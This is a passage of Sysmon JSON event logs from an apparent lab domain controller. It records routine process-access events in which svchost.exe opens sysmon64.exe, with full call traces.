C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.733","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1388,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.733\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.733","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1389,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.734\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.734","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1390,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.734\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.734","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1391,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.734\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.734","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1392,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.734\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.734","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1393,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.734\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.734","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1394,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.734\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.734","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1395,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.734\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 